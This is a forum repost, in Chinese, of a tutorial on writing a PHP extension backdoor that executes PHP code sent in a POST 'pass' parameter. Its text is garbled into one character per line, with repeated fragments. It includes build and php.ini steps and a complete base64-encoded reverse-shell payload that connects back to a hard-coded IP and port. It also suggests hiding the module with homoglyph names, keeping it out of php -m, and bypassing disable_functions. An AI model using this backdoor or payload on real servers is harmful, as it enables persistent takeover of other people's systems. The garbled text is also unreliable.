论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
Web安全
[11621] 2017-08-03_手把手教你编写一个简单的PHP模块形态的后门
文档创建者:
s7ckTeam
浏览次数:
1
最后更新:
2025-01-18
Web安全
1 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2017-08-03_手把手教你编写一个简单的PHP模块形态的后门
手
把
手
教
你
编
写
一
个
简
单
的
P
H
P
模
块
形
态
的
后
门
k
n
p
e
w
g
8
5
9
4
2
F
r
e
e
B
u
f
2
0
1
7
-
0
8
-
0
3
*
本
文
原
创
作
者
k
n
p
e
w
g
8
5
9
4
2
,
本
文
属
于
F
r
e
e
B
u
f
原
创
奖
励
计
划
,
禁
止
转
载
。
看
到
看
到
F
r
e
e
b
u
f
小
编
发
表
的
用
这
个
隐
藏
于
小
编
发
表
的
用
这
个
隐
藏
于
P
H
P
模
块
中
的
模
块
中
的
r
o
o
t
k
i
t
,
就
能
持
久
接
管
服
务
器
,
就
能
持
久
接
管
服
务
器
文
章
,
很
感
兴
趣
,
苦
无
作
者
文
章
,
很
感
兴
趣
,
苦
无
作
者
没
留
下
没
留
下
P
o
C
,
自
己
研
究
一
番
,
有
了
此
文
,
自
己
研
究
一
番
,
有
了
此
文
0
x
0
0
.
引
言
引
言
P
H
P
是
一
个
非
常
流
行
的
w
e
b
s
e
r
v
e
r
端
的
s
c
r
i
p
t
语
言
.
目
前
很
多
w
e
b
应
用
程
序
都
基
于
p
h
p
语
言
实
现
。
由
于
p
h
p
是
个
开
源
软
件
并
易
于
扩
展
,
所
以
我
们
可
以
通
过
编
写
一
个
P
H
P
模
块
(
m
o
d
u
l
e
或
者
叫
扩
展
e
x
t
e
n
s
i
o
n
)
来
实
现
一
个
B
a
c
k
d
o
o
r
。
本
文
就
简
单
介
下
如
何
一
步
步
编
写
一
个
简
单
的
p
h
p
动
态
扩
展
后
门
。
0
x
0
1
.
p
h
p
扩
后
门
的
简
单
设
计
扩
后
门
的
简
单
设
计
出
于
教
学
目
的
,
这
个
动
态
扩
展
后
门
的
功
能
设
计
比
较
简
单
:
1
)
.
通
过
过
滤
用
户
提
交
的
特
定
变
量
来
启
动
B
a
c
k
d
o
o
r
.
2
)
.
直
接
执
行
用
户
提
交
的
p
h
p
代
码
.
对
于
1
)
中
过
滤
用
户
提
交
的
变
量
有
两
种
方
法
方
法
方
法
1
:
:
修
改
S
A
P
I
的
i
n
p
u
t
_
f
i
l
t
e
r
或
者
是
t
r
e
a
t
_
d
a
t
a
.
你
可
以
是
h
o
o
k
后
再
执
行
p
h
p
的
原
始
代
码
,
也
可
以
直
接
替
换
原
始
函
数
,
具
体
介
绍
,
请
参
考
《
h
t
t
p
:
/
/
x
f
o
c
u
s
.
n
e
t
/
a
r
t
i
c
l
e
s
/
2
0
0
7
0
5
/
9
2
0
.
h
t
m
l
》
方
法
方
法
2
:
:
从
p
h
p
内
建
的
数
组
里
获
取
变
量
(
即
从
p
h
p
内
核
中
获
取
变
量
)
,
这
也
是
本
文
所
要
用
到
的
方
法
0
x
0
2
.
开
始
编
写
扩
展
后
门
代
码
开
始
编
写
扩
展
后
门
代
码
结
合
0
x
0
1
中
p
h
p
后
门
的
设
计
,
本
文
中
要
实
现
的
后
门
功
能
为
:
只
要
p
h
p
解
释
器
加
载
了
这
个
扩
展
,
那
么
对
于
每
一
次
h
t
t
p
P
O
S
T
请
求
,
这
个
扩
展
都
会
拦
截
,
检
查
一
下
是
否
有
p
a
s
s
参
数
,
如
果
有
,
则
执
行
p
a
s
s
参
数
的
值
中
的
p
h
p
代
码
本
文
用
最
快
的
(
不
是
最
标
准
的
,
标
准
的
扩
展
一
般
还
会
单
独
写
.
h
的
头
文
件
)
的
方
式
来
建
立
一
个
简
单
的
p
h
p
扩
展
,
共
计
两
个
文
件
,
一
个
是
编
译
配
置
文
件
c
o
n
f
i
g
.
m
4
,
一
个
是
后
门
扩
展
源
码
h
a
c
k
e
r
.
c
关
于
关
于
c
o
n
f
i
g
.
m
4
c
o
n
f
i
g
.
m
4
文
件
用
于
指
定
正
在
开
发
的
扩
展
在
类
u
n
i
x
系
统
下
构
建
时
支
持
的
选
项
,
指
定
此
扩
展
需
要
哪
些
库
以
及
哪
些
源
文
件
;
使
用
G
N
U
a
u
t
o
c
o
n
f
(
h
t
t
p
:
/
/
w
w
w
.
g
n
u
.
o
r
g
/
s
o
f
t
w
a
r
e
/
a
u
t
o
c
o
n
f
/
m
a
n
u
a
l
/
)
语
法
编
写
。
p
h
p
i
z
e
会
根
据
c
o
n
f
i
g
.
m
4
的
配
置
自
动
生
成
编
译
相
关
文
件
(
如
下
图
,
就
是
我
们
常
见
的
c
o
n
f
i
g
u
r
e
之
类
的
,
然
后
就
可
以
.
/
c
o
n
f
i
g
u
r
e
&
&
m
a
k
e
&
&
m
a
k
e
i
n
s
t
a
l
l
)
1
)
c
o
n
f
i
g
.
m
4
内
容
内
容
就
两
行
,
很
简
单
,
这
里
做
个
解
释
P
H
P
_
A
R
G
_
E
N
A
B
L
E
含
有
有
三
个
参
数
,
第
1
个
参
数
是
我
们
扩
展
的
名
字
,
这
里
为
h
a
c
k
e
r
第
2
个
参
数
是
我
们
运
行
.
/
c
o
n
f
i
g
u
r
e
脚
本
时
显
要
指
定
示
的
内
容
,
这
里
没
有
配
置
,
即
为
0
第
3
个
参
数
是
我
们
在
调
用
.
/
c
o
n
f
i
g
u
r
e
—
h
e
l
p
的
时
候
要
指
定
显
示
的
帮
助
信
息
,
这
里
也
没
有
配
置
,
为
0
P
H
P
_
N
E
W
_
E
X
T
E
N
S
I
O
N
第
1
个
参
数
是
模
块
名
字
,
这
里
为
h
a
c
k
e
r
第
2
个
参
数
表
示
的
是
编
译
模
块
需
要
的
源
文
件
名
称
,
这
里
为
h
a
c
k
e
r
.
c
如
果
我
们
的
扩
展
使
用
了
多
个
文
件
,
便
可
以
将
这
多
个
文
件
名
罗
列
在
函
数
的
参
数
里
,
不
同
源
文
件
之
间
以
空
格
隔
开
,
比
如
:
第
3
个
参
数
表
示
的
是
编
译
的
形
式
,
这
里
的
$
e
x
t
_
s
h
a
r
e
d
参
数
用
来
声
明
这
个
扩
展
不
是
一
个
静
态
模
块
,
而
是
在
p
h
p
运
行
时
动
态
加
载
的
。
2
)
后
门
扩
展
源
码
后
门
扩
展
源
码
h
a
c
k
e
r
.
c
P
H
P
_
A
R
G
_
E
N
A
B
L
E
(
h
a
c
k
e
r
,
0
,
0
)
P
H
P
_
N
E
W
_
E
X
T
E
N
S
I
O
N
(
h
a
c
k
e
r
,
h
a
c
k
e
r
.
c
,
$
e
x
t
_
s
h
a
r
e
d
)
P
H
P
_
N
E
W
_
E
X
T
E
N
S
I
O
N
(
h
a
c
k
e
r
,
h
a
c
k
e
r
.
c
,
$
e
x
t
_
s
h
a
r
e
d
)
P
H
P
_
N
E
W
_
E
X
T
E
N
S
I
O
N
(
s
a
m
p
l
e
,
s
a
m
p
l
e
.
c
s
a
m
p
l
e
2
.
c
s
a
m
p
l
e
3
.
c
,
$
e
x
t
_
s
h
a
r
e
d
)
代
码
比
较
简
单
,
主
要
有
以
下
:
z
e
n
d
_
m
o
d
u
l
e
_
e
n
t
r
y
结
构
体
定
义
,
必
须
Z
E
N
D
_
G
E
T
_
M
O
D
U
L
E
编
译
加
载
模
块
并
返
回
z
e
n
d
_
m
o
d
u
l
e
_
e
n
t
r
y
的
指
针
,
必
须
模
块
运
行
时
函
数
声
明
,
标
准
的
扩
展
都
会
在
.
h
的
都
文
件
中
声
明
,
这
里
就
在
.
c
的
源
代
码
中
一
起
声
明
了
模
块
运
行
时
函
数
定
义
具
体
代
码
:
代
码
解
释
补
充
代
码
解
释
补
充
p
h
p
.
h
,
位
于
P
H
P
主
目
录
。
这
个
文
件
包
含
了
绝
大
部
分
P
H
P
宏
及
A
P
I
定
义
。
编
写
p
h
p
扩
展
必
备
,
需
要
安
装
p
h
p
开
发
库
,
以
c
e
n
t
o
s
7
p
h
p
5
.
5
为
例
z
e
n
d
_
m
o
d
u
l
e
_
e
n
t
r
y
是
编
写
p
h
p
动
态
加
载
模
块
必
须
注
册
的
一
个
结
构
体
,
h
a
c
k
e
r
_
m
o
d
u
l
e
_
e
n
t
r
y
是
结
构
体
名
字
,
命
名
规
范
为
:
模
块
名
_
m
o
d
u
l
e
_
e
n
t
r
y
,
来
解
释
一
下
这
个
结
构
体
:
依
据
Z
E
N
D
_
M
O
D
U
L
E
_
A
P
I
_
N
O
是
否
大
于
等
于
2
0
0
1
0
9
0
1
,
这
个
结
构
体
需
要
不
同
的
定
义
格
式
。
2
0
0
1
0
9
0
1
大
约
代
表
P
H
P
4
.
2
.
0
版
本
,
所
以
我
们
现
在
的
扩
展
几
乎
都
要
包
含
S
T
A
N
D
A
R
D
_
M
O
D
U
L
E
_
H
E
A
D
E
R
这
个
元
素
了
#
i
n
c
l
u
d
e
"
p
h
p
.
h
"
y
u
m
i
n
s
t
a
l
l
p
h
p
5
-
d
e
v
e
l
#
i
f
Z
E
N
D
_
M
O
D
U
L
E
_
A
P
I
_
N
O
>
=
2
0
0
1
0
9
0
1
S
T
A
N
D
A
R
D
_
M
O
D
U
L
E
_
H
E
A
D
E
R
,
#
e
n
d
i
f
在
p
h
p
生
命
周
期
中
,
Z
e
n
d
E
n
g
i
n
e
首
先
要
初
始
化
m
o
d
u
l
e
,
每
个
m
o
d
u
l
e
中
定
义
的
P
H
P
_
M
I
N
I
T
_
F
U
N
C
T
I
O
N
函
数
作
为
初
始
化
代
码
(
M
o
d
u
l
e
I
n
i
t
)
都
会
被
执
行
一
次
,
而
P
H
P
_
R
I
N
I
T
_
F
U
N
C
T
I
O
N
函
数
则
是
在
每
次
页
面
被
请
求
的
时
候
(
R
u
n
t
i
m
e
I
n
i
t
)
都
会
执
行
一
次
。
因
此
对
p
h
p
函
数
的
h
o
o
k
,
设
置
p
h
p
环
境
变
量
,
对
u
s
e
r
i
n
p
u
t
的
过
滤
,
都
可
以
根
据
需
要
在
这
两
个
函
数
中
进
行
.
本
文
扩
展
后
门
就
是
在
R
u
n
t
i
m
e
I
n
i
t
时
候
对
变
量
进
行
h
o
o
k
。
然
后
在
P
H
P
_
M
S
H
U
T
D
O
W
N
_
F
U
N
C
T
I
O
N
和
P
H
P
_
R
S
H
U
T
D
O
W
N
_
F
U
N
C
T
I
O
N
中
进
行
相
应
的
清
理
.
而
作
为
B
a
c
k
d
o
o
r
,
P
H
P
_
M
I
N
F
O
_
F
U
N
C
T
I
O
N
函
数
对
我
们
则
没
什
么
必
要
,
可
以
把
这
里
设
置
为
N
U
L
L
。
有
关
Z
_
S
T
R
V
A
L
_
P
P
Z
_
S
T
R
V
A
L
_
P
Z
_
S
T
R
V
A
L
的
解
释
,
请
参
考
:
h
t
t
p
:
/
/
m
.
p
h
p
.
c
n
/
w
r
i
t
e
/
9
1
0
.
h
t
m
l
0
x
0
3
.
测
试
测
试
1
.
编
译
环
境
:
编
译
环
境
:
需
事
先
安
装
好
p
h
p
i
z
e
2
.
编
译
后
门
编
译
后
门
1
)
先
运
行
p
h
p
i
z
e
,
生
成
编
译
配
置
文
件
2
)
.
/
c
o
n
f
i
g
u
r
e
&
&
m
a
k
e
&
&
m
a
k
e
t
e
s
t
3
)
m
a
k
e
i
n
s
t
a
l
l
默
认
安
装
在
/
u
s
r
/
l
i
b
6
4
/
p
h
p
/
m
o
d
u
l
e
s
/
,
当
然
你
也
可
以
用
—
p
r
e
f
i
x
指
定
安
装
目
录
c
e
n
t
o
s
7
x
6
4
p
h
p
5
.
4
3
.
配
置
配
置
p
h
p
.
i
n
i
,
启
用
后
门
,
启
用
后
门
重
启
h
t
t
p
d
服
务
使
用
p
h
p
-
m
查
看
是
否
模
块
加
载
成
功
至
此
,
p
h
p
扩
展
后
门
加
载
成
功
,
下
面
就
需
要
客
户
端
发
送
触
发
代
码
,
触
发
后
门
执
行
4
.
客
户
端
开
始
监
听
,
等
待
反
弹
客
户
端
开
始
监
听
,
等
待
反
弹
5
.
客
户
端
发
送
恶
意
代
码
触
发
后
门
反
弹
客
户
端
发
送
恶
意
代
码
触
发
后
门
反
弹
s
h
e
l
l
在
g
i
t
h
u
b
上
找
到
一
个
p
h
p
反
弹
后
门
代
码
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
X
i
p
h
o
s
R
e
s
e
a
r
c
h
/
e
x
p
l
o
i
t
s
/
b
l
o
b
/
m
a
s
t
e
r
/
L
o
t
u
s
C
M
S
/
b
a
c
k
_
p
y
t
h
o
n
.
p
h
p
修
改
以
下
反
弹
I
P
和
端
口
,
然
后
在
除
去
换
行
符
,
再
进
行
b
a
s
e
6
4
编
码
,
最
后
处
理
如
下
:
使
用
b
u
r
p
s
u
i
t
e
发
送
P
O
S
T
请
求
,
参
数
为
p
a
s
s
,
值
为
上
述
e
v
a
l
(
b
a
s
e
6
4
_
d
e
c
o
d
e
那
一
串
值
e
v
a
l
(
b
a
s
e
6
4
_
d
e
c
o
d
e
(
'
C
i
R
j
Y
m
h
v
c
3
Q
g
P
S
A
n
M
T
A
u
M
S
4
x
M
D
A
u
M
y
c
7
I
A
o
k
Y
2
J
w
b
3
J
0
I
D
0
g
J
z
M
x
M
z
M
0
J
z
s
g
C
m
V
j
a
G
8
g
I
n
s
r
f
S
B
V
c
2
l
u
Z
y
A
i
L
i
R
j
Y
m
h
v
c
3
Q
u
I
j
o
i
L
i
R
j
Y
n
B
v
c
n
Q
u
I
i
B
h
c
y
B
j
Y
W
x
s
Y
m
F
j
a
y
4
u
L
l
x
u
e
y
t
9
I
E
R
y
b
3
B
w
a
W
5
n
I
H
N
o
Z
W
x
s
L
i
4
u
X
G
4
i
O
w
o
k
c
2
h
l
b
G
w
g
P
S
A
i
S
X
l
F
d
m
R
Y
T
n
l
M
M
k
p
w
Y
m
k
5
d
2
V
Y
U
m
9
i
M
j
R
5
Q
2
l
N
Z
1
k
y
O
W
t
h
V
z
V
u
T
2
l
C
M
W
R
H
W
X
R
P
Q
W
9
q
S
U
Z
O
b
G
J
H
W
W
d
S
R
1
Z
6
Z
E
h
K
M
V
k
z
U
n
B
i
b
W
N
z
S
U
V
S
a
F
p
X
M
X
Z
i
b
W
x
1
W
n
l
C
U
1
p
Y
W
m
x
j
b
k
5
s
S
U
Z
C
V
V
d
T
N
E
t
J
e
U
J
5
Y
l
N
k
e
k
l
I
T
m
x
i
R
1
l
n
Y
j
I
0
Z
2
N
Y
V
n
B
k
Q
0
E
2
T
X
d
v
a
k
l
G
U
l
B
S
R
T
g
2
Q
2
l
N
Z
0
1
U
b
2
d
R
V
1
J
r
S
U
d
O
e
W
V
Y
Q
j
B
i
d
2
9
q
S
U
R
J
N
k
l
F
R
m
t
a
Q
0
J
3
Y
2
0
5
a
m
J
t
R
n
R
a
U
0
J
6
Y
0
c
5
d
l
p
n
c
H
B
i
W
E
J
2
Y
2
5
R
Z
2
I
z
T
U
t
h
V
z
F
3
Y
j
N
K
M
E
l
I
T
j
V
j
d
3
B
w
Y
l
h
C
d
m
N
u
U
W
d
j
S
F
I
1
Q
2
1
s
d
G
N
H
O
X
l
k
Q
0
J
6
Y
j
J
O
c
l
p
Y
U
U
t
h
V
z
F
3
Y
j
N
K
M
E
l
H
T
n
Z
i
V
z
F
o
Y
m
1
S
e
k
N
n
c
H
p
h
R
1
Z
z
Y
k
c
x
e
l
p
5
Q
T
l
J
Q
0
p
j
Z
U
R
G
a
V
d
6
Q
n
R
Y
S
G
d
4
W
W
x
z
e
E
9
6
T
T
J
i
V
W
R
2
Z
E
N
C
e
W
I
y
O
T
B
J
S
G
x
s
Z
E
Q
5
Y
2
V
E
R
m
l
X
e
k
J
0
W
E
h
K
Y
2
J
p
S
W
d
J
e
U
J
1
W
l
d
W
a
2
V
p
Q
m
h
j
M
k
5
w
Y
V
F
v
S
1
p
H
V
m
1
J
S
E
Y
x
Y
V
h
S
M
F
p
Y
S
W
9
i
W
E
5
u
S
1
R
v
S
0
l
D
Q
W
d
J
S
E
J
5
Y
V
c
1
M
E
l
H
M
X
p
a
d
2
9
n
S
U
N
B
Z
2
I
z
T
X
V
k
V
z
V
z
Y
V
c
1
c
k
t
H
O
X
p
M
b
k
J
o
Z
E
d
n
d
V
l
X
S
n
p
j
R
0
Y
w
Y
U
N
o
Z
l
g
y
W
n
B
i
R
1
Z
m
W
H
l
r
c
E
l
D
T
W
d
k
V
z
V
q
Y
j
I
x
d
F
p
X
N
T
B
J
R
1
p
2
Y
2
l
C
b
m
I
y
Z
H
Z
j
M
l
Z
z
W
m
1
S
b
G
M
z
U
n
l
k
V
0
4
w
Q
2
l
B
Z
0
l
D
Q
n
p
l
W
E
1
1
W
l
h
o
c
G
R
D
Z
3
d
L
U
W
9
L
W
k
d
W
b
U
l
I
S
m
x
k
b
V
Z
5
Y
z
J
V
b
1
k
y
S
m
9
i
M
0
4
w
T
E
N
C
a
l
l
u
Q
n
Z
j
b
l
F
w
T
2
d
v
Z
0
l
D
Q
W
d
k
S
E
o
1
T
2
d
v
Z
0
l
D
Q
W
d
J
Q
0
F
n
S
U
h
W
d
V
l
X
M
W
x
J
R
D
B
n
W
T
I
5
d
G
J
X
R
n
V
a
S
E
1
1
W
j
J
W
M
G
I
z
V
j
B
j
S
F
Y
w
S
0
N
K
M
W
J
t
R
n
R
a
U
0
F
0
W
V
N
J
c
E
N
p
Q
W
d
J
Q
0
F
n
S
U
N
B
Z
2
F
X
U
W
d
Q
U
0
J
q
Y
j
I
x
d
F
l
X
N
W
t
j
e
T
V
u
W
l
h
S
d
m
R
Y
U
n
d
k
W
F
F
v
S
W
1
s
a
0
l
p
a
0
t
J
Q
0
F
n
S
U
d
W
N
F
k
y
V
n
d
k
Q
0
J
G
Z
U
d
O
b
G
N
I
U
n
B
i
M
j
Q
2
Q
2
l
B
Z
0
l
D
Q
W
d
J
Q
0
F
n
Y
1
h
W
c
G
R
I
U
m
x
j
a
W
d
u
W
j
N
K
a
F
l
p
Q
j
F
i
b
U
Z
0
W
l
M
5
c
F
p
D
Q
m
1
Z
V
2
x
z
S
n
l
r
S
0
l
D
Q
W
d
J
S
F
J
5
Z
V
R
v
S
0
l
D
Q
W
d
J
Q
0
F
n
S
U
N
C
e
m
I
y
T
n
J
J
R
D
B
n
Y
z
I
5
a
m
E
y
V
j
B
M
b
k
5
2
W
T
J
0
b
G
R
D
a
H
p
i
M
k
5
y
W
l
h
R
d
V
F
V
W
m
Z
T
V
T
V
G
V
k
N
3
Z
2
M
y
O
W
p
h
M
l
Y
w
T
G
x
O
U
F
E
w
d
G
Z
V
M
V
J
T
U
l
V
G
T
k
t
R
b
2
d
J
Q
0
F
n
S
U
N
B
Z
0
l
I
T
n
Z
Z
M
n
N
1
W
T
I
5
d
W
J
t
V
m
p
k
Q
2
d
v
W
T
J
K
b
2
I
z
T
j
B
M
Q
0
J
w
Y
m
5
R
b
1
k
y
S
n
d
i
M
0
o
w
S
1
N
r
c
E
N
p
Q
W
d
J
Q
0
J
s
Z
U
d
O
b
G
N
I
U
T
Z
D
a
U
F
n
S
U
N
B
Z
0
l
D
Q
W
d
j
W
F
Z
w
Z
E
h
S
b
G
N
p
Z
2
5
Z
V
0
p
2
Y
2
5
R
N
k
l
H
T
n
Z
i
b
T
V
s
W
T
N
S
c
G
I
y
N
G
d
a
b
U
Z
w
Y
k
N
j
c
E
N
p
Q
W
d
J
Q
0
I
w
Y
2
5
r
N
k
N
p
Q
W
d
J
Q
0
F
n
S
U
N
B
Z
2
I
z
T
X
V
a
S
F
Z
3
T
W
l
o
e
m
I
y
T
n
J
M
b
V
p
w
Y
k
d
W
d
W
J
5
Z
3
B
M
Q
0
F
3
S
1
F
v
Z
0
l
D
Q
W
d
J
Q
0
F
n
S
U
c
5
e
k
x
t
U
j
F
j
R
E
l
v
Y
z
I
5
a
m
F
5
N
W
1
h
V
3
h
s
Y
m
0
4
b
0
t
T
d
2
d
N
U
2
t
L
S
U
N
B
Z
0
l
D
Q
W
d
J
Q
0
J
2
Y
3
k
1
a
2
R
Y
Q
X
l
L
S
E
5
2
W
T
J
z
d
V
p
t
b
H
N
a
V
z
V
2
S
0
N
r
c
0
l
E
S
X
B
D
a
U
F
n
S
U
N
C
b
G
V
H
T
m
x
j
S
F
E
2
Q
2
l
B
Z
0
l
D
Q
W
d
J
Q
0
F
n
Y
1
h
W
c
G
R
I
U
m
x
j
a
W
d
u
W
V
d
K
d
m
N
u
U
T
Z
J
R
1
I
x
Y
0
R
J
Z
1
p
t
R
n
B
i
Q
2
N
w
Q
2
l
B
Z
0
l
D
Q
j
B
j
b
m
s
2
Q
2
l
B
Z
0
l
D
Q
W
d
J
Q
0
F
n
Y
j
N
N
d
W
N
I
V
j
B
a
V
z
U
y
S
0
N
K
S
V
N
W
T
l
V
S
a
2
x
N
U
l
N
J
c
0
l
D
S
X
Z
a
R
1
Y
y
T
D
I
1
M
W
J
H
d
2
l
L
U
W
9
n
S
U
N
B
Z
0
l
D
Q
W
d
J
R
z
l
6
T
G
5
C
M
W
R
H
V
n
V
k
a
W
d
p
V
U
V
G
V
V
N
D
S
X
N
J
Q
2
N
2
Z
F
h
O
e
U
w
y
e
H
Z
Z
M
k
Z
z
T
D
N
O
a
W
F
X
N
D
Z
M
M
1
Z
6
Y
2
k
5
e
l
l
t
b
H
V
P
a
T
l
6
W
W
1
s
d
U
9
p
O
W
l
h
V
z
Q
2
T
D
N
W
e
m
N
p
O
X
N
i
M
k
5
o
Y
k
M
5
a
W
F
X
N
D
Z
M
M
1
Z
6
Y
2
k
5
a
W
F
X
N
G
5
L
U
W
9
n
S
U
N
B
Z
1
p
Y
a
G
p
a
W
E
I
w
S
U
V
W
N
F
k
y
V
n
d
k
R
2
x
2
Y
m
p
v
S
0
l
D
Q
W
d
J
Q
0
F
n
S
U
N
C
e
G
R
X
b
D
B
k
R
1
Z
5
S
0
N
k
a
F
l
t
O
X
l
k
R
G
9
n
Y
0
h
W
M
F
p
X
N
T
J
J
R
1
p
o
Y
V
d
3
b
k
t
R
b
2
d
J
Q
0
F
n
Z
E
h
K
N
U
9
n
b
2
d
J
Q
0
F
n
S
U
N
B
Z
0
l
I
T
n
Z
Z
M
n
N
1
Y
z
J
W
d
V
p
D
a
H
p
h
R
1
Z
z
Y
k
c
x
e
l
p
5
a
0
t
J
Q
0
F
n
S
U
N
B
Z
0
l
D
Q
n
p
i
M
k
5
y
T
G
5
O
b
G
J
t
U
W
9
K
M
X
g
0
T
V
d
K
Y
k
1
U
c
3
p
N
b
T
B
u
S
z
N
W
d
V
l
X
M
W
x
L
e
U
p
j
Y
2
x
4
d
U
l
p
d
H
B
a
Q
3
N
p
W
E
h
n
e
F
l
s
c
3
d
i
V
n
h
5
W
E
c
0
a
U
t
R
b
2
d
J
Q
0
F
n
W
l
h
o
a
l
p
Y
Q
j
B
J
R
V
Y
0
W
T
J
W
d
2
R
H
b
H
Z
i
a
m
9
L
S
U
N
B
Z
0
l
D
Q
W
d
J
Q
0
J
4
Z
F
d
s
M
G
R
H
V
n
l
L
Q
2
R
6
W
l
c
1
a
0
l
H
b
G
t
M
M
1
Z
1
W
V
c
x
b
E
l
H
W
j
F
Z
M
n
Q
x
Y
0
N
j
c
E
N
p
Q
W
d
J
Q
0
I
w
Y
2
5
r
N
k
N
p
Q
W
d
J
Q
0
F
n
S
U
N
B
Z
2
N
I
U
j
V
M
b
k
5
3
W
V
h
k
d
U
t
D
Y
3
Z
Z
b
W
x
1
T
D
J
K
a
G
M
y
Z
2
5
L
U
W
9
n
S
U
N
B
Z
1
p
Y
a
G
p
a
W
E
I
w
S
U
V
W
N
F
k
y
V
n
d
k
R
2
x
2
Y
m
p
v
S
0
l
D
Q
W
d
J
Q
0
F
n
S
U
N
C
e
G
R
X
b
D
B
k
R
1
Z
5
S
0
N
k
a
F
l
t
O
X
l
k
R
G
9
n
Y
0
h
S
N
U
l
I
T
n
d
Z
W
G
R
1
S
U
d
a
a
G
F
X
d
2
5
L
U
W
9
n
S
U
N
B
Z
2
N
Y
V
n
B
k
S
F
J
s
Y
2
l
n
b
m
N
Y
V
n
B
k
S
F
J
w
Y
m
1
j
c
0
l
H
T
n
N
a
V
0
Z
1
Z
F
h
B
b
k
t
R
b
0
t
a
R
1
Z
t
S
U
c
x
a
G
F
X
N
G
9
Z
W
E
p
u
Y
3
l
r
N
k
N
p
Q
W
d
J
Q
0
J
w
W
m
l
C
d
m
N
5
N
W
1
i
M
0
p
y
S
0
N
r
Z
1
B
p
Q
X
d
P
a
U
F
L
S
U
N
B
Z
0
l
D
Q
W
d
J
Q
0
J
2
Y
3
k
1
Z
l
p
Y
a
H
B
k
Q
2
d
3
S
1
F
v
Z
0
l
D
Q
W
d
j
b
V
Y
y
W
l
h
K
e
l
p
T
a
H
p
l
W
E
1
1
W
V
h
K
b
m
R
s
c
3
h
Y
U
3
d
n
Y
z
N
s
e
k
x
t
R
n
l
a
M
1
p
i
T
W
w
w
c
E
N
n
c
H
B
a
a
U
J
m
W
D
I
1
a
G
J
X
V
m
Z
Y
e
U
E
5
U
F
N
B
a
V
g
x
O
X
R
Z
V
2
x
1
W
D
E
4
a
U
9
n
b
2
d
J
Q
0
F
n
Y
l
d
G
c
G
J
p
a
H
p
l
W
E
1
1
W
V
h
K
b
m
R
p
a
0
s
i
O
w
o
k
e
C
A
9
I
G
Z
v
c
G
V
u
K
C
I
v
d
G
1
w
L
3
g
i
L
C
A
i
d
y
s
i
K
T
s
K
Z
n
d
y
a
X
R
l
K
C
R
4
L
C
B
i
Y
X
N
l
N
j
R
f
Z
G
V
j
b
2
R
l
K
C
R
z
a
G
V
s
b
C
k
p
O
w
p
m
Y
2
x
v
c
2
U
o
J
H
g
p
O
w
p
l
Y
2
h
v
I
C
J
7
K
3
0
g
U
2
h
l
b
G
w
g
Z
H
J
v
c
H
B
l
Z
C
4
u
L
i
B
U
c
m
l
n
Z
2
V
y
a
W
5
n
L
i
4
u
X
G
4
i
O
w
p
z
e
X
N
0
Z
W
0
o
I
n
B
5
d
G
h
v
b
i
A
v
d
G
1
w
L
3
g
g
I
i
4
k
Y
2
J
o
b
3
N
0
L
i
I
g
I
i
4
k
Y
2
J
w
b
3
J
0
K
T
s
K
Z
G
l
l
K
C
d
7
K
3
0
g
Z
2
9
0
I
H
N
o
Z
W
x
s
P
y
c
p
O
y
A
v
L
y
B
w
Y
X
l
s
b
2
F
k
I
H
N
o
b
3
V
s
Z
C
B
o
Y
X
Z
l
I
H
J
t
J
2
Q
g
a
X
R
z
Z
W
x
m
C
g
o
=
'
)
)
;
成
功
反
弹
s
h
e
l
l
0
x
0
4
.
总
结
总
结
本
文
所
涉
及
的
p
h
p
扩
展
后
门
是
相
对
比
较
简
单
的
,
只
是
为
了
演
示
教
学
之
目
的
。
如
果
系
统
禁
用
了
e
v
a
l
等
函
数
,
还
需
要
通
过
在
后
门
中
加
入
模
块
初
始
化
函
数
(
P
H
P
_
M
I
N
I
T
_
F
U
N
C
T
I
O
N
)
,
动
态
修
改
p
h
p
.
i
n
i
以
达
到
绕
过
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
的
目
的
,
另
外
,
为
了
更
好
地
隐
藏
自
身
,
还
需
要
在
伪
装
性
上
下
点
功
夫
,
比
如
利
用
同
形
异
义
字
欺
骗
用
户
的
眼
睛
,
比
如
使
得
模
块
名
不
在
p
h
p
-
m
中
显
示
等
,
当
然
这
是
后
话
,
希
望
后
续
能
有
这
样
的
文
章
出
现
。
*
本
文
原
创
作
者
k
n
p
e
w
g
8
5
9
4
2
,
本
文
属
于
F
r
e
e
B
u
f
原
创
奖
励
计
划
,
禁
止
转
载
。
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页